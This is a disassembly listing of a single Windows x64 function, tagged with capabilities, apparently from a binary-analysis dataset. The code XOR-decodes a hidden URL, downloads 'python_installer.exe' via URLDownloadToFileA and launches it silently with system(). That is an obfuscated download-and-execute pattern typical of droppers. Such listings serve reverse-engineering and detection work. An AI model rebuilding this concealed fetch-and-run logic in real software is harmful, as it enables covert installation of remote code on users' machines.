Function at 0x1400028b0
Capabilities:
Download url
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
sub rsp, 0x200
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor r12d, r12d
movabs rax, 0x3e000249e0bf4e77
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xf578c833525b0c0b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xc9f73d8abd8bd566
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x93bdf100f07ed972
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xf38b3547c1fc753d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x9feeac270f7d9fcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x5cb2d8aa9dfc018e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xa0bf284b943fee77
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rdx, 0x2d43c2ef5fade7
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rcx, 0xe020a34b7e911a04
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x112f383a90cb3a1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x9d0cb1437c2c7b7c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xafd85af8d2a5bb09
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0xfcd585798051a906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0xcaa50476efcf5a53
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0xb280c34f7b04efe0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0x3d9fe184accd2fbd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0xc5c74d65a0098a1a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqa xmm0, xmmword [rbp + 0xa0]
vxorps xmm0, xmm0, xmmword [rbp + 0x180]
vmovdqa xmmword [rbp + 0xa0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x120], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x130], xmm1
lea rax, [rbp + 0x60]
mov r8, 0xffffffffffffffff
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140002b30
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.140004820
nop
lea rcx, [rbp + 0xc0]
call fcn.140002480
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140002b64
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp], rcx
mov qword [rbp + 8], rax
call fcn.14000533c
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea r8, [rbp]
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.140005080
nop
mov r8d, 0x15
lea rdx, str.python_installer.exe
lea rcx, [rbp + 0x10]
call fcn.1400041f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140002c1e
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d34
movdqa xmm0, xmmword [0x140008980]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x140002c78
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d34
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp + 0xd0], xmm0
mov word [rbp + 0xc0], r12w
lea r8, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova r8, qword [rbp + 0xe0]
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140002f74
mov r14, qword [rbp + 0xf0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x140003059
lea r15, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova r15, qword [rbp + 0xe0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rsi, [r14 + 1]
mov ebx, 0xf
lea rdi, [rbp + 0x30]
cmp rsi, rbx
jbe 0x140002dac
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002d67
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005c20
test rax, rax
je 0x140002d99
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002da8
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002d81
mov rdi, r12
jmp 0x140002da8
cmp rcx, 0x1000
jb 0x140002da0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003053
jmp 0x140002d4c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005c20
mov rdi, rax
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rbx
mov byte [rdi], 0x22
lea rcx, [rdi + 1]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 0x28
lea rdx, str.___quiet_InstallAllUsers1_PrependPath1
lea rcx, [rbp + 0x30]
call fcn.1400041f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140002e57
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d34
movdqa xmm0, xmmword [0x140008980]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rcx, qword [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rax, qword [rbp + 0xe0]
mov qword [rbp], rax
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 8], rax
call fcn.14000533c
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea r8, [rbp]
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.140001930
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rcx, qword [rbp + 0x10]
call fcn.1400059c0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140003045
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140002f2f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d34
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x140002f74
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d34
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140002fb8
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002fb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d34
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140003015
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003010
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d34
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140005c00
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
shr rdx, 0x20
lea r8, [rbp + 0x10]
call fcn.1400023b0
nop
call fcn.140001100
int3
call fcn.1400011a0
int3